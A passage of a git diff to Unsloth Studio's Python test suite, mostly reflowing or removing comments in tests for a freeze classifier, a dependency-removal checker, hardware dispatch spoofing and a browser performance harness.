seen, it just was not watched for long enough to+ # name.assert not got.startswith("OK"), gotassert got.startswith("SUSPECT"), gotassert "90s" in got@@ -572,7 +572,7 @@ def test_a_stall_watched_for_exactly_stale_after_is_a_freeze():(45, 9, 9),(60, 12, 12),(75, 15, 15),- (90, 15, 18), # stops here+ (90, 15, 18),(105, 15, 21),(120, 15, 24),(135, 15, 27),@@ -634,10 +634,7 @@ def _drive_candidate(than an argument list a test made up."""proc = _FakeApp(dies_after)- # Before anything else: the cleanup SIGTERMs proc.pid's process group, and a fake pid is- # a real pid to the kernel. Unpatched, a run that ends with the app still alive signals- # whatever process group happens to own that number, which on this machine was the test- # runner itself.+ # Before anything else: the cleanup SIGTERMs proc.pid's process group, and a fake pid is a real pid to the kernel.signalled = []monkeypatch.setattr(freeze.os, "getpgid", lambda pid: pid)monkeypatch.setattr(freeze.os, "killpg", lambda pgid, sig: signalled.append((pgid, sig)))@@ -684,8 +681,8 @@ def test_an_exit_seen_only_by_the_cleanup_poll_is_still_recorded(monkeypatch, tmNone, so the classifier skipped both exit branches and judged the samples on their own,and the crash came back as "OK: the interface kept polling for the whole run"."""- # A log growing at a healthy rate throughout, so nothing in the samples hints at the- # crash and the verdict has to come from the exit itself.+ # A log growing at a healthy rate throughout, so nothing in the samples hints at the crash and the verdict has to+ # come from the exit itself.healthy = [_log(3 * n, 3 * n) for n in range(1, 5)]result = _drive_candidate(monkeypatch, tmp_path, healthy, dies_after = 4)assert result["samples"], "the loop must have run, or this proves nothing"@@ -714,7 +711,7 @@ def test_signing_out_midway_is_not_reported_as_a_freeze():(45, 9, 9),(60, 12, 12),(75, 15, 15),- (90, 15, 18), # signed out here, so the heartbeat stops+ (90, 15, 18),(105, 15, 21),(120, 15, 24),(135, 15, 27),@@ -744,8 +741,8 @@ def test_sign_in_traffic_from_before_the_stall_does_not_clear_a_freeze():]got = verdict(samples, warmup = 0, session_at = 30)assert got.startswith("FROZE"), got- # And a session cleared without any request reaching the backend is still indistinguishable- # from a freeze, which is what the absence of evidence is allowed to mean.+ # And a session cleared without any request reaching the backend is still indistinguishable from a freeze, which is+ # what the absence of evidence is allowed to mean.assert verdict(samples, warmup = 0, session_at = None).startswith("FROZE")@@ -758,16 +755,16 @@ def test_the_session_signal_is_the_webview_talking_not_the_shell():assert freeze.SESSION.findall('127.0.0.1 "GET /api/auth/status" 200')assert freeze.SESSION.findall('127.0.0.1 "POST /api/auth/login" 200')assert not freeze.SESSION.findall('127.0.0.1 "POST /api/auth/desktop-login" 200')- # And it is not a heartbeat: it must not be swept into the interface count, or a run- # sitting on the login screen would count as an interface that was polling.+ # And it is not a heartbeat: it must not be swept into the interface count, or a run sitting on the login screen+ # would count as an interface that was polling.assert not freeze.INTERFACE.findall('127.0.0.1 "GET /api/auth/status" 200')def test_the_run_records_when_the_session_was_last_asked_about(monkeypatch, tmp_path):"""The classifier cannot use a signal the run does not collect. This is the loop and thehandoff to classify() as written, not an argument list invented by a test."""- # Heartbeat for the first four samples, then a sign-out at 75s and silence after it,- # while the watchdog keeps going to the end.+ # Heartbeat for the first four samples, then a sign-out at 75s and silence after it, while the watchdog keeps going+ # to the end.scripted = [_log(3, 3),_log(6, 6),@@ -864,6 +861,5 @@ def test_a_launch_that_fails_at_execve_does_not_end_the_whole_run(monkeypatch, tfor r in results:assert r["verdict"].startswith("CANNOT RUN"), r["verdict"]assert "Exec format error" in r["verdict"]- # The report's own schema is unchanged, so a reader (and the summary) can treat- # this result like any other.+ # The report's own schema is unchanged, so a reader (and the summary) can treat this result like any other.assert r["samples"] == [] and r["interface_polls"] == 0diff --git a/tests/studio/test_frontend_dep_removal.py b/tests/studio/test_frontend_dep_removal.pyindex ace59556210..b8d4ae124f3 100644--- a/tests/studio/test_frontend_dep_removal.py+++ b/tests/studio/test_frontend_dep_removal.py@@ -29,7 +29,7 @@ class Case:id: strdesc: strremove: list[str]- expected_status: str # "PASS" | "FAIL"+ expected_status: strexpected_failures: list[str]move_to_dev: list[str] | None = None # rare: deps moved, not removed@@ -311,8 +311,6 @@ def run_case(case: Case, head_pkg: dict) -> tuple[bool, str]:# Classifier unit tests: feed snippets into classify(), assert the kind.-# Covers sneaky import shapes used to obscure a real usage.-# Import classify() by file path so this test needs no installed package.import importlib.util as _ilu@@ -336,7 +334,6 @@ class ClassifyCase:CLASSIFY_CASES: list[ClassifyCase] = [- # Bog-standard shapesClassifyCase("U01","single-line static import",@@ -377,7 +374,6 @@ CLASSIFY_CASES: list[ClassifyCase] = ['@import "tailwindcss";',"css_import",),- # Sneaky shapesClassifyCase("U06","multi-line static import",@@ -490,7 +486,6 @@ CLASSIFY_CASES: list[ClassifyCase] = ['"@dagrejs/dagre": path.resolve(__dirname, "./..."),',"string_literal",),- # False-positive guards (these should NOT detect)ClassifyCase("U20","different package with shared prefix",@@ -628,8 +623,6 @@ CLASSIFY_CASES: list[ClassifyCase] = ['type C = import("react").ComponentType;',"dynamic_import",),- # File-type gating: JS classifiers must not fire on non-script files- # (.py/.md/.sh/.yml), whose JS-shaped strings are docs/test data, not usages.ClassifyCase("U37","JS import snippet inside a Python fixture string is NOT a usage",@@ -638,6 +631,7 @@ CLASSIFY_CASES: list[ClassifyCase] = ["snippet = 'import x from \"next-themes\";'",None,),+ # File-type gating: JS classifiers must not fire on non-script filesClassifyCase("U38","JS import snippet inside a Markdown code fence is NOT a usage",@@ -662,8 +656,8 @@ CLASSIFY_CASES: list[ClassifyCase] = ["run: echo 'import x from \"next-themes\";'",None,),- # HTML script/link must respect package-name boundaries: a- # `/node_modules/foo-extra/...` reference does NOT use `foo`.+ # HTML script/link must respect package-name boundaries: a `/node_modules/foo-extra/...` reference does NOT use+ # `foo`.ClassifyCase("U41","HTML <script src=...> with similar-prefix package is NOT a match",@@ -728,7 +722,6 @@ def run_classify_unit_tests() -> int:# Adversarial end-to-end cases: drop a synthetic file into src/, run the# checker, clean up. Catches regressions in the full grep+classify pipeline.-ADVERSARIAL_TMP_DIR = REPO / "studio/frontend/src/__dep_check_adversarial__"@@ -855,8 +848,8 @@ ADV_CASES: list[AdvCase] = ["FAIL",["__adv_only_pkg_l__"],),- # Prettier puts `import` ~22 lines from the `from "pkg"` clause; the old- # ±4-line classify fallback missed it. Exercises the widened (±25) window.+ # Prettier puts `import` ~22 lines from the `from "pkg"` clause; the old ±4-line classify fallback missed it.+ # Exercises the widened (±25) window.AdvCase("A13","Prettier-style 22-identifier multi-line import should FAIL "@@ -872,15 +865,13 @@ ADV_CASES: list[AdvCase] = []-# package.json field-reference cases: simulate prettier/eslintConfig/overrides/-# peerDependenciesMeta etc., testing package_json_extra_refs() coverage.--+# package.json field-reference cases: simulate prettier/eslintConfig/overrides/ peerDependenciesMeta etc., testing+# package_json_extra_refs() coverage.@dataclassclass PkgFieldCase:id: strdesc: str- field_patch: dict # extra fields to merge into synth_head package.json+ field_patch: dicttarget_pkg: strexpected_status: strexpected_failures: list[str]@@ -1049,11 +1040,9 @@ def run_pkg_field_cases() -> int:passed = 0for pc in PKG_FIELD_CASES:synth_head = json.loads(json.dumps(head_pkg))- # Apply the field patch (deep-merge isn't needed; we control the keys).for k, v in pc.field_patch.items():synth_head[k] = v- # Base declares the target; head drops it from deps but references it- # via the extra field.+ # Base declares the target; head drops it from deps but references it via the extra field.synth_base = json.loads(json.dumps(head_pkg))synth_base.setdefault("dependencies", {})[pc.target_pkg] = "^1.0.0"with tempfile.NamedTemporaryFile("w", suffix = ".json", delete = False) as f:@@ -1111,12 +1100,11 @@ def run_adversarial_cases() -> int:head_pkg = json.loads(HEAD_PKG.read_text(encoding = "utf-8"))passed = 0for ac in ADV_CASES:- # Drop the synthetic file.fpath = ADVERSARIAL_TMP_DIR / ac.filenametry:fpath.write_text(ac.content, encoding = "utf-8")- # Base adds the target pkg; real head lacks it, so the script- # treats it as removed and scans the repo (now with our file).+ # Base adds the target pkg; real head lacks it, so the script treats it as removed and scans the repo (now+ # with our file).synth_base = json.loads(json.dumps(head_pkg))synth_base.setdefault("dependencies", {})[ac.target_pkg] = "^1.0.0"with tempfile.NamedTemporaryFile("w", suffix = ".json", delete = False) as f:@@ -1164,7 +1152,6 @@ def run_adversarial_cases() -> int:fpath.unlink()except FileNotFoundError:pass- # Clean up the directory.try:ADVERSARIAL_TMP_DIR.rmdir()except OSError:@@ -1174,9 +1161,6 @@ def run_adversarial_cases() -> int:return 0 if passed == len(ADV_CASES) else 1-# Dead-dep enumeration cases--@dataclassclass EnumCase:id: str@@ -1266,7 +1250,6 @@ def run_enum_cases() -> int:synth_head.setdefault("devDependencies", {}).update(ec.add_dev_deps)for k, v in ec.field_patch.items():synth_head[k] = v- # Drop any temp source file if needed.fpath = Noneif ec.extra_file:rel, content = ec.extra_file@@ -1300,7 +1283,6 @@ def run_enum_cases() -> int:fpath.unlink()except FileNotFoundError:pass- # Parse the dead-dep enumeration output.unused: set[str] = set()orphans: set[str] = set()in_unused = False@@ -1340,7 +1322,6 @@ def run_enum_cases() -> int:print(f" {ln}")if ok:passed += 1- # Cleanup tmp dir if empty.try:ADVERSARIAL_TMP_DIR.rmdir()except OSError:@@ -1350,11 +1331,8 @@ def run_enum_cases() -> int:return 0 if passed == len(ENUM_CASES) else 1-# Script-wrapper cases: scripts_bin_refs / _next_real_bin must credit the real-# bin (`biome` -> @biomejs/biome), not the wrapper. The old "first non-env-# token" heuristic missed cross-env / dotenv / etc.--+# Script-wrapper cases: scripts_bin_refs / _next_real_bin must credit the real bin (`biome` -> @biomejs/biome), not the+# wrapper. The old "first non-env token" heuristic missed cross-env / dotenv / etc.@dataclassclass WrapperCase:id: str@@ -1449,8 +1427,8 @@ def run_wrapper_cases() -> int:if ok:passed += 1- # End-to-end: feed scripts_bin_refs a head_pkg whose scripts use a wrapper- # and confirm the wrapped bin's owner is credited (the find_command_usage path).+ # End-to-end: feed scripts_bin_refs a head_pkg whose scripts use a wrapper and confirm the wrapped bin's owner is+ # credited (the find_command_usage path).int_total = 0int_passed = 0int_cases = [@@ -1480,7 +1458,7 @@ def run_wrapper_cases() -> int:"&& chain: both halves credit their owning packages",{"build": "tsc -b && cross-env CI=1 biome check"},{"tsc": "typescript", "biome": "@biomejs/biome"},- None, # checked via owning_pkgs below+ None,),]for case_id, desc, scripts, bin_to_pkg, expect_owner in int_cases:diff --git a/tests/studio/test_frontend_dist_cache.py b/tests/studio/test_frontend_dist_cache.pyindex e58baa6dc36..ba152a542ac 100644--- a/tests/studio/test_frontend_dist_cache.py+++ b/tests/studio/test_frontend_dist_cache.py@@ -417,9 +417,9 @@ def test_the_posix_touch_still_touches() -> None:), f"the POSIX branch no longer touches the dist directory: {_code(step)!r}"-# What each branch has to do AFTER stamping the directory, expressed as the two things-# that distinguish "I called the API" from "the dist actually ended up newer": re-READ-# the timestamp, and COMPARE it against the sources with a branch that can fail.+# What each branch has to do AFTER stamping the directory, expressed as the two things that distinguish "I called the+# API" from "the dist actually ended up newer": re-READ the timestamp, and COMPARE it against the sources with a branch+# that can fail._READBACK = {# `find ... -newer "$DIST"` is setup.sh's own predicate, re-run."posix": (r'-newer\s+"\$DIST"', r'if\s+\[\s+-n\s+"\$newer"\s+\]'),@@ -863,11 +863,9 @@ def test_the_restore_comes_before_the_install_and_the_save_after_it() -> None:}if "restore" not in idx:continue- # The step that INVOKES the installer, not every step that mentions it. These- # workflows also parse install.ps1 with the AST and grep logs/install.log, and a- # bare `install\.(ps1|sh)` match picks those up and reports a false ordering- # bug. Every call site passes --local (it is what overlays the checkout, so it- # is also what makes the workspace dist the one being built).+ # The step that INVOKES the installer, not every step that mentions it.+ # These workflows also parse install.ps1 with the AST and grep logs/install.log, and a bare `install\.(ps1|sh)`+ # match picks those up and reports a false ordering bug.installs = [ifor i, s in enumerate(steps)@@ -883,12 +881,9 @@ def test_the_restore_comes_before_the_install_and_the_save_after_it() -> None:assert not offenders, "\n ".join(["misordered frontend-dist steps:"] + offenders)-# ----------------------------------------------------------------------------# Cold lanes.+# Named, not detected: a lane whose whole point is a cold machine should have to be removed from this list# ----------------------------------------------------------------------------# Named, not detected: a lane whose whole point is a cold machine should have to be-# removed from this list deliberately, in a diff someone reads.COLD_INSTALL_WORKFLOWS = ("clean-machine-install-ci.yml","desktop-app-clean-machine-ci.yml",@@ -897,7 +892,6 @@ COLD_INSTALL_WORKFLOWS = ()# Cold at JOB level, inside a workflow whose other jobs legitimately use the cache.-# `no-vs-cpu` installs with no Visual Studio build tools present, on purpose.COLD_INSTALL_JOBS = (("studio-windows-inference-smoke.yml", "no-vs-cpu"),)diff --git a/tests/studio/test_gpu_inference_smoke.py b/tests/studio/test_gpu_inference_smoke.pyindex a28166e1e01..ccc55b8cc3e 100644--- a/tests/studio/test_gpu_inference_smoke.py+++ b/tests/studio/test_gpu_inference_smoke.py@@ -18,11 +18,11 @@ import pytesttorch = pytest.importorskip("torch")-# Smallest instruct model in the CI fixture family; ~270M params loads and-# generates a few tokens in seconds on any GPU.+# Smallest instruct model in the CI fixture family; ~270M params loads and generates a few tokens+# in seconds on any GPU.MODEL_ID = "unsloth/gemma-3-270m-it"-# A handful of forced real tokens: enough to prove GPU decode produced content,-# short enough to stay a few seconds.+# A handful of forced real tokens: enough to prove GPU decode produced content, short enough to+# stay a few seconds.MIN_NEW_TOKENS = 4MAX_NEW_TOKENS = 16@@ -34,8 +34,8 @@ def test_gpu_generation_smoke():except Exception as exc: # pragma: no cover - env without transformerspytest.skip(f"transformers unavailable: {exc}")- # Gemma is numerically unstable in fp16 (it emits only <pad>); use bf16 where- # supported, else fp32. The model is tiny, so fp32 is still fast.+ # Gemma is numerically unstable in fp16 (it emits only <pad>); use bf16 where supported, else fp32. The model is+ # tiny, so fp32 is still fast.dtype = torch.bfloat16 if torch.cuda.is_bf16_supported() else torch.float32try:tokenizer = AutoTokenizer.from_pretrained(MODEL_ID)diff --git a/tests/studio/test_hardware_dispatch_matrix.py b/tests/studio/test_hardware_dispatch_matrix.pyindex a25fb259983..3ff173b7b5c 100644--- a/tests/studio/test_hardware_dispatch_matrix.py+++ b/tests/studio/test_hardware_dispatch_matrix.py@@ -154,7 +154,6 @@ def spoof_hardware(monkeypatch):import platformimport torch- # platform spoof (used by both the unsloth gate and Unsloth's helpers)monkeypatch.setattr(platform, "system", lambda: profile.system)monkeypatch.setattr(platform, "machine", lambda: profile.machine)@@ -191,11 +190,9 @@ def spoof_hardware(monkeypatch):)monkeypatch.setattr(torch, "xpu", xpu_stub, raising = False)- # torch.backends.mps.is_availableif hasattr(torch.backends, "mps"):monkeypatch.setattr(torch.backends.mps, "is_available", lambda: profile.mps_available)- # mlx + mlx.core in sys.modulesif profile.has_mlx:fake_mlx = types.ModuleType("mlx")fake_mlx.__spec__ = importlib.machinery.ModuleSpec("mlx", loader = None)@@ -204,14 +201,13 @@ def spoof_hardware(monkeypatch):fake_mlx.core = fake_mlx_coremonkeypatch.setitem(sys.modules, "mlx", fake_mlx)monkeypatch.setitem(sys.modules, "mlx.core", fake_mlx_core)- # detect_hardware gates MLX on the full stack via utils.mlx_repair (it- # imports mlx_lm/mlx_vlm and checks dist versions), which faking only- # mlx.core cannot satisfy. An mlx profile means a complete, healthy stack,- # so model that here; the internals are covered by test_mlx_repair.py.- # Both entry points, because the gate asks for the blocker LIST: one- # measurement decides the verdict and explains it. Stubbing only- # mlx_stack_available() runs the real check against a Linux runner with no- # MLX distributions, so the Apple Silicon profile detects CPU.+ # detect_hardware gates MLX on the full stack via utils.mlx_repair (it imports mlx_lm/mlx_vlm and checks+ # dist versions), which faking only mlx.core cannot satisfy.+ # the internals are covered by test_mlx_repair.py.+ # Both entry points, because the gate asks for the blocker LIST: one measurement decides the verdict and+ # explains it.+ # Stubbing only mlx_stack_available() runs the real check against a Linux runner with no MLX distributions,+ # so the Apple Silicon profile detects CPU.if str(STUDIO_BACKEND) not in sys.path:sys.path.insert(0, str(STUDIO_BACKEND))import utils.mlx_repair as _mlx_repair # type: ignore@@ -231,8 +227,8 @@ def spoof_hardware(monkeypatch):monkeypatch.setattr(importlib.util, "find_spec", _no_mlx)- # Unsloth's _has_mlx() does `import mlx.core`, not find_spec; block it- # with a meta_path finder that raises ImportError for mlx.*.+ # Unsloth's _has_mlx() does `import mlx.core`, not find_spec;+ # block it with a meta_path finder that raises ImportError for mlx.*.class _BlockMLXFinder:def find_spec(self_inner,@@ -320,8 +316,6 @@ def test_studio_is_apple_silicon_matches_profile(profile, spoof_hardware):# Negative-space tests: catch regressions where the dispatch order changes.--def test_cuda_takes_priority_over_mlx_when_both_available(spoof_hardware):"""CUDA wins over MLX when both available: canary against GPU users being routed to MLX after refactors."""profile = HardwareProfile(@@ -366,13 +360,12 @@ def test_xpu_takes_priority_over_mlx_when_both_available(spoof_hardware):# Unsloth's placement, against the loader's opt-in device map.#-# unsloth's loader upgrades a "sequential" device_map to the "unsloth" planning sentinel-# when UNSLOTH_AUTO_DEVICE_MAP=1. Unsloth does not pass the sentinel and never sets that-# variable, but an operator can set it process-wide, and Unsloth's "sequential" is not a-# default it forgot to change: it is get_device_map() saying "one device". These pin the-# two facts that keep that safe on every profile above -- Unsloth's multi-GPU answer is-# "balanced", which is never upgraded, and its single-GPU answer is reached only inside a-# worker that has already narrowed the visible devices to the selection.+# unsloth's loader upgrades a "sequential" device_map to the "unsloth" planning sentinel when+# UNSLOTH_AUTO_DEVICE_MAP=1. Unsloth does not pass the sentinel and never sets that variable, but an operator can set+# it process-wide, and Unsloth's "sequential" is not a default it forgot to change: it is get_device_map() saying+# "one device". These pin the two facts that keep that safe on every profile above -- Unsloth's multi-GPU answer is+# "balanced", which is never upgraded, and its single-GPU answer is reached only inside a worker that has already+# narrowed the visible devices to the selection.def _loader_device_map_helpers():@@ -458,8 +451,8 @@ def test_studio_placement_survives_the_loader_opt_in(else:monkeypatch.setenv("UNSLOTH_AUTO_DEVICE_MAP", opt_in)- # The worker narrows CUDA_VISIBLE_DEVICES to the selection before torch initialises,- # so the loader counts the selected devices, not the machine's.+ # The worker narrows CUDA_VISIBLE_DEVICES to the selection before torch initialises, so the loader counts the+ # selected devices, not the machine's.visible = len(gpu_ids) if gpu_ids else 1loader = _loader_device_map_helpers()(visible)diff --git a/tests/studio/test_heavy_thread_gap_contract.py b/tests/studio/test_heavy_thread_gap_contract.pyindex 1093de1d8f4..7e0b6befdc6 100644--- a/tests/studio/test_heavy_thread_gap_contract.py+++ b/tests/studio/test_heavy_thread_gap_contract.py@@ -29,8 +29,8 @@ def test_the_compact_tail_seed_keeps_its_name_and_arity() -> None:def test_the_compact_tail_seed_reuses_the_ordinary_fixture_builder() -> None:# The census parity #9058 relies on comes from calling the same buildThread() seed() calls.- # Measured: seedCompactTail(25000, 16) reports 36 messages against seed(25000)'s 20, a tail- # of exactly 16, with every other count unchanged.+ # Measured: seedCompactTail(25000, 16) reports 36 messages against seed(25000)'s 20, a tail of exactly 16, with+ # every other count unchanged.body = entry()tail = body[body.index("seedCompactTail(") : body.index("gapMetrics()")]assert "buildThread(targetChars)" in tail, (@@ -55,18 +55,15 @@ def test_gap_metrics_keeps_every_key_the_probe_reads() -> None:"gapBottom","spacerHeight",):- # `key:` or the shorthand `key,` / `key\n`. Checking only for `key:` would have failed- # on `clientHeight`, which is returned shorthand, so the guard would have been red- # against correct code.+ # `key:` or the shorthand `key,` / `key\n`.assert re.search(rf"\b{key}\s*[:,\n]", gap), f"gapMetrics no longer reports {key}, which #9058's probe reads"def test_the_gap_below_is_measured_against_the_viewport_edge() -> None:- # Against the box bottom, not scrollHeight. The viewport's own bottom spacer then counts as- # the gap it always was and the caller subtracts spacerHeight to get the part the mount- # window owns. Measured with a 16 message tail: spacerHeight 165, gapBottom 199.+ # Against the box bottom, not scrollHeight.+ # Measured with a 16 message tail: spacerHeight 165, gapBottom 199.body = entry()gap = body[body.index("gapMetrics()") :]gap = gap[: gap.index("\n },")]diff --git a/tests/studio/test_heavy_thread_harness_contract.py b/tests/studio/test_heavy_thread_harness_contract.pyindex dbc0cc7aeb7..9bbe58792bd 100644--- a/tests/studio/test_heavy_thread_harness_contract.py+++ b/tests/studio/test_heavy_thread_harness_contract.py@@ -22,7 +22,7 @@ STUDIO_TESTS = ROOT / "tests" / "studio"FRONTEND = ROOT / "studio" / "frontend"HARNESS = "playwright_heavy_thread.py"-# Recorded by the harness, produced only by Chromium. None of these may decide anything.+# Recorded by the harness, produced only by Chromium.CHROMIUM_ONLY = ("layout_count","layout_ms",@@ -59,9 +59,9 @@ def verdict() -> str:def test_every_measured_action_has_a_growth_axis() -> None:- # An action that is driven but never checked for growth is an action whose column could be- # constant at every size without anything failing. The axes are generated from ACTIONS, so- # what has to hold is that ACTIONS is the generator and that it still lists all six.+ # An action that is driven but never checked for growth is an action whose column could be constant at every size+ # without anything failing. The axes are generated from ACTIONS, so what has to hold is that ACTIONS is the+ # generator and that it still lists all six.text = source(HARNESS)declared = section(text, "ACTIONS = (", ")")for action in ACTIONS:@@ -78,8 +78,8 @@ def test_the_portable_primaries_are_the_growth_axes() -> None:def test_no_growth_axis_is_chromium_only() -> None:- # The whole point of the portable metrics: a curve built on CDP counters is a curve that does- # not exist on the engine Unsloth Desktop actually ships on macOS and Linux.+ # The whole point of the portable metrics: a curve built on CDP counters is a curve that does not exist on the+ # engine Unsloth Desktop actually ships on macOS and Linux.axes = growth_axes()for metric in CHROMIUM_ONLY:assert f'"{metric}"' not in axes, metric@@ -92,8 +92,6 @@ def test_the_verdict_never_rests_on_a_chromium_only_metric() -> None:def test_chromium_only_rows_say_so_in_their_own_label() -> None:- # Off Chromium these print `-`, and a `-` that means "not supported here" must not be read as- # a zero. The label is the only thing carrying that.text = source(HARNESS)table = section(text, "TABLE_ROWS = (", "def print_table")for metric in CHROMIUM_ONLY:@@ -111,26 +109,20 @@ def test_the_longtask_api_is_recorded_as_supported_or_not() -> None:def test_the_stall_detector_is_a_timer_and_not_a_message_channel() -> None:- # Measured, not preference: the MessageChannel ping-pong halves Firefox's frame rate before- # any application code runs, so it changes the thing it is there to measure.+ # Measured, not preference: the MessageChannel ping-pong halves Firefox's frame rate before any application code+ # runs, so it changes the thing it is there to measure.text = source(HARNESS)assert "new MessageChannel(" not in text, "the recorder must not spin a port"assert "setTimeout(stall, 1)" in textdef test_the_verdict_asserts_the_fixture_and_not_just_its_size() -> None:- # 300K characters of prose would produce a rising curve too, and would be measuring something- # nobody reported.decision = verdict()assert 'plan["expectedPerCycle"]' in decisionassert 'counts.get("highlightedTokens", 0)' in decisiondef test_the_fixture_assertion_survives_deferred_fence_highlighting() -> None:- # A floor on the TOKEN count partly measures where the viewport is: the same unchanged fixture- # dropped from 3,216 tokens per cycle to 1,322. Lowering it to fit would leave the check unable- # to tell a deferred thread from one that stopped rendering code, which is all it is for. So- # the size assertion is on characters, which the deferred shell carries too.page = (FRONTEND / "smoke-heavy-thread-main.tsx").read_text(encoding = "utf-8")head = page.index("const EXPECTED_PER_CYCLE")expected = page[head : page.index("};", head)]@@ -154,20 +146,19 @@ def test_the_verdict_asserts_the_keystroke_reached_the_runtime() -> None:def test_the_paint_floor_is_measured_and_subtracted() -> None:- # Two rAFs resolve no sooner than two vsync intervals, so an action that never happened still- # reports ~33ms. Left in a ratio, that floor compresses every axis towards 1 and lets a real- # regression sit under the discrimination threshold.+ # Two rAFs resolve no sooner than two vsync intervals, so an action that never happened still reports ~33ms. Left+ # in a ratio, that floor compresses every axis towards 1 and lets a real regression sit under the discrimination+ # threshold.text = source(HARNESS)assert "PAINT_FLOOR_JS" in text- # Once per double-rAF wait the metric is clocked across, not once per metric: `menu open+close- # ms` is the sum of two independently floored timings and carries two floors.+ # Once per double-rAF wait the metric is clocked across, not once per metric: `menu open+close ms` is the sum of+ # two independently floored timings and carries two floors.assert 'value -= count * row["paint_floor_ms"]' in section(text, "def growth(", "def report_growth")def test_the_verdict_asserts_the_reopen_really_unmounted() -> None:- # Without this, "re-open" is timing a thread that never left, which is free.decision = verdict()assert 'reopened["closedMs"] is None' in decision@@ -199,20 +190,18 @@ def test_the_smoke_page_is_served_and_owns_its_dev_server() -> None:def test_the_fork_count_stub_answers_the_shape_the_endpoint_returns() -> None:- # `getThreadForkCounts` reads `data.counts` and builds a Map from it, and the badge renders- # nothing for a message the Map has no entry for. `{"counts":{}}` is therefore "no message has- # forks" in the endpoint's own vocabulary. A body of some other shape leaves the Map empty by- # accident rather than by contract, and an accident is what this stub already had once: the- # endpoint used to be per message and answer `{"count":n}`, the allowlist kept matching that- # older URL after the app stopped requesting it, and every fork-count GET went to the network- # instead. Before that, `{}` against the per-message endpoint left `data.count` undefined,- # `undefined <= 0` false, and a badge reading "undefined forks from this message" on every- # assistant message: measured at 25000 chars, 10 badges and 4031 DOM nodes rather than 0 and- # 3981. Either way the fixture stops being the thing the table says was measured.+ # `getThreadForkCounts` reads `data.counts` and builds a Map from it, and the badge renders nothing for a message+ # the Map has no entry for. `{"counts":{}}` is therefore "no message has forks" in the endpoint's own vocabulary.+ # A body of some other shape leaves the Map empty by accident rather than by contract, and an accident is what+ # this stub already had once: the endpoint used to be per message and answer `{"count":n}`, the allowlist kept+ # matching that older URL after the app stopped requesting it, and every fork-count GET went to the network+ # instead. Before that, `{}` against the per-message endpoint left `data.count` undefined, `undefined <= 0` false,+ # and a badge reading "undefined forks from this message" on every assistant message: measured at 25000 chars,+ # 10 badges and 4031 DOM nodes rather than 0 and 3981. Either way the fixture stops being the thing the table says+ # was measured.page = (FRONTEND / "smoke-heavy-thread-main.tsx").read_text(encoding = "utf-8")- # Pin the fork-count entry to its own body rather than scanning the whole file: other- # endpoints in the allowlist legitimately answer "{}", so a bare file-wide check for it- # would fail on them and tell us nothing about this one.+ # Pin the fork-count entry to its own body rather than scanning the whole file: other endpoints in the allowlist+ # legitimately answer "{}", so a bare file-wide check for it would fail on them and tell us nothing about this one.forks = next((line for line in page.splitlines() if "forks$/" in line),"",@@ -235,12 +224,11 @@ def _stub_patterns(page: str) -> list[str]:def test_the_stub_matches_the_fork_count_url_the_app_actually_requests() -> None:- # The drift this file exists to catch, checked against the app rather than against a string- # someone remembered to update. The fork-count endpoint moved from per message to per thread- # in #8992 and this allowlist was not moved with it; the harness's own stray-request check did- # catch it, but only in CI, and only in a job where the browser smokes reach the point of- # running at all. A URL the app builds and the stub does not answer is a round trip inside a- # timed region, so it is worth failing a unit test for.+ # The drift this file exists to catch, checked against the app rather than against a string someone remembered to+ # update. The fork-count endpoint moved from per message to per thread in #8992 and this allowlist was not moved+ # with it; the harness's own stray-request check did catch it, but only in CI, and only in a job where the browser+ # smokes reach the point of running at all. A URL the app builds and the stub does not answer is a round trip+ # inside a timed region, so it is worth failing a unit test for.api = (FRONTEND / "src" / "features" / "chat" / "api" / "chat-api.ts").read_text(encoding = "utf-8")@@ -251,8 +239,6 @@ def test_the_stub_matches_the_fork_count_url_the_app_actually_requests() -> None)for path in fork_paths:# A stand-in shaped like the synthetic remoteId the local runtime hands the smoke page.- # `encodeURIComponent` leaves that form untouched, so the sample below is the URL the- # harness really does produce.url = re.sub(r"\$\{[^}]*\}", "__LOCALID_abc123", path)assert any(re.search(pattern, url) for pattern in patterns), (f"the smoke page's STUBBED_API allowlist answers none of {url!r}, which the chat "@@ -261,9 +247,9 @@ def test_the_stub_matches_the_fork_count_url_the_app_actually_requests() -> Nonedef test_the_fetch_stub_only_intercepts_fork_counts() -> None:- # A blanket `/api/` match resolves any other request a measured interaction makes before- # Playwright emits it, so `measure_cell`'s listener never increments `stray_api_requests` and- # the API fan-out this harness claims to detect cannot reach it.+ # A blanket `/api/` match resolves any other request a measured interaction makes before Playwright emits it, so+ # `measure_cell`'s listener never increments `stray_api_requests` and the API fan-out this harness claims to+ # detect cannot reach it.page = (FRONTEND / "smoke-heavy-thread-main.tsx").read_text(encoding = "utf-8")assert 'url.includes("/api/")' not in page, ("the fetch stub is matching every /api/ request again, which hides stray requests from "@@ -275,10 +261,9 @@ def test_the_fetch_stub_only_intercepts_fork_counts() -> None:def test_the_api_stub_is_an_allowlist_not_a_blanket_match() -> None:- # A blanket `/api/` match answers every request the measured interactions make before Playwright- # emits it, so `stray_api_requests` stays at zero and the fan-out this harness exists to detect- # is invisible to it. Narrowing it is what revealed the project-list and knowledge-base GETs on- # reopen, and the delete's own three-request sync.+ # A blanket `/api/` match answers every request the measured interactions make before Playwright emits it, so+ # `stray_api_requests` stays at zero and the fan-out this harness exists to detect is invisible to it. Narrowing+ # it is what revealed the project-list and knowledge-base GETs on reopen, and the delete's own three-request sync.page = (FRONTEND / "smoke-heavy-thread-main.tsx").read_text(encoding = "utf-8")assert ('url.includes("/api/")' not in page@@ -287,9 +272,9 @@ def test_the_api_stub_is_an_allowlist_not_a_blanket_match() -> None:def test_every_stubbed_endpoint_is_reported() -> None:- # Answering a request inside the page removes its round trip from the timings, which is the- # point, but it must not remove the request from the record. An endpoint that is answered and- # not counted is one nobody can see the cost of later.+ # Answering a request inside the page removes its round trip from the timings, which is the point, but it must not+ # remove the request from the record. An endpoint that is answered and not counted is one nobody can see the cost+ # of later.page = (FRONTEND / "smoke-heavy-thread-main.tsx").read_text(encoding = "utf-8")assert "__stubbedApi" in page, "stubbed requests must be recorded on the page"harness = source("playwright_heavy_thread.py")diff --git a/tests/studio/test_heavy_thread_measurement_integrity.py b/tests/studio/test_heavy_thread_measurement_integrity.pyindex fcf31f0331c..d372f70a465 100644--- a/tests/studio/test_heavy_thread_measurement_integrity.py+++ b/tests/studio/test_heavy_thread_measurement_integrity.py@@ -112,9 +112,9 @@ HARNESS = _load_harness()# ── the node side: the harness's own JS on a virtual clock ────────────-# performance.now() is the fake clock, requestAnimationFrame is a queue this file pumps, and-# setTimeout is a queue too -- the recorder's stall loop reschedules itself forever, so a real-# timer 